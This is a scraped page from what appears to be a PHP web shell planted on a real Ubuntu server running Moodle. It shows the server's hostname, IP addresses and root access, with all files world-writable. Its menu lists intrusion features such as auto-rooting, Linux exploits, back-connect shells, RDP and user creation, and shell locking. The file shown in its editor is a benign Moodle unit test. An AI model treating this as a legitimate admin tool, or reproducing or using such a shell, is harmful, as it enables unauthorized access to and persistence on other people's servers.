Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
assign /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
behat
[ DIR ]
drwxrwxrwx
fixtures
[ DIR ]
drwxrwxrwx
generator
[ DIR ]
drwxrwxrwx
base_test.php
9.41
KB
-rwxrwxrwx
events_test.php
54.26
KB
-rwxrwxrwx
externallib_test.php
130.29
KB
-rwxrwxrwx
feedback_test.php
5.84
KB
-rwxrwxrwx
generator.php
4.65
KB
-rwxrwxrwx
lib_test.php
56.02
KB
-rwxrwxrwx
locallib_participants_test.php
7.49
KB
-rwxrwxrwx
locallib_test.php
187.46
KB
-rwxrwxrwx
markerallocation_test.php
5.72
KB
-rwxrwxrwx
portfolio_caller_test.php
10.08
KB
-rwxrwxrwx
privacy_feedback_legacy_polyfi...
9.5
KB
-rwxrwxrwx
privacy_submission_legacy_poly...
9.73
KB
-rwxrwxrwx
privacy_test.php
34.33
KB
-rwxrwxrwx
restore_date_test.php
3.66
KB
-rwxrwxrwx
search_test.php
4.22
KB
-rwxrwxrwx
upgradelib_test.php
4.91
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upgradelib_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Unit tests for (some of) mod/assign/upgradelib.php. * * @package mod_assign * @category phpunit * @copyright 1999 onwards Martin Dougiamas {@link http://moodle.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/mod/assign/locallib.php'); require_once($CFG->dirroot . '/mod/assign/upgradelib.php'); require_once($CFG->dirroot . '/mod/assignment/lib.php'); /** * Unit tests for (some of) mod/assign/upgradelib.php. * * @copyright 1999 onwards Martin Dougiamas {@link http://moodle.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_assign_upgradelib_testcase extends advanced_testcase { /** * Data provider for assignment upgrade. * * @return array */ public function assignment_upgrade_provider() { return [ 'upload' => [ 'type' => 'upload', 'submissionplugins' => [ 'onlinetext' => true, 'comments' => true, 'file' => false, ], 'feedbackplugins' => [ 'comments' => false, 'file' => false, 'offline' => true, ], ], 'uploadsingle' => [ 'type' => 'uploadsingle', 'submissionplugins' => [ 'onlinetext' => true, 'comments' => true, 'file' => false, ], 'feedbackplugins' => [ 'comments' => false, 'file' => false, 'offline' => true, ], ], 'online' => [ 'type' => 'online', 'submissionplugins' => [ 'onlinetext' => false, 'comments' => true, 'file' => true, ], 'feedbackplugins' => [ 'comments' => false, 'file' => true, 'offline' => true, ], ], 'offline' => [ 'type' => 'offline', 'submissionplugins' => [ 'onlinetext' => true, 'comments' => true, 'file' => true, ], 'feedbackplugins' => [ 'comments' => false, 'file' => true, 'offline' => true, ], ], ]; } /** * Test assigment upgrade. * * @dataProvider assignment_upgrade_provider * @param string $type The type of assignment * @param array $plugins Which plugins shuld or shoudl not be enabled */ public function test_upgrade_assignment($type, $plugins) { global $DB, $CFG; $this->resetAfterTest(); $course = $this->getDataGenerator()->create_course(); $teacher = $this->getDataGenerator()->create_and_enrol($course, 'teacher'); $commentconfig = false; if (!empty($CFG->usecomments)) { $commentconfig = $CFG->usecomments; } $CFG->usecomments = false; // Create the old assignment. $this->setUser($teacher); $generator = $this->getDataGenerator()->get_plugin_generator('mod_assignment'); $assignment = $generator->create_instance([ 'course' => $course->id, 'assignmenttype' => $type, ]); // Run the upgrade. $this->setAdminUser(); $log = ''; $upgrader = new assign_upgrade_manager(); $this->assertTrue($upgrader->upgrade_assignment($assignment->id, $log)); $record = $DB->get_record('assign', ['course' => $course->id]); $cm = get_coursemodule_from_instance('assign', $record->id); $context = context_module::instance($cm->id); $assign = new assign($context, $cm, $course); foreach ($plugins as $plugin => $isempty) { $plugin = $assign->get_submission_plugin_by_type($plugin); $this->assertEquals($isempty, empty($plugin->is_enabled())); } } }
Close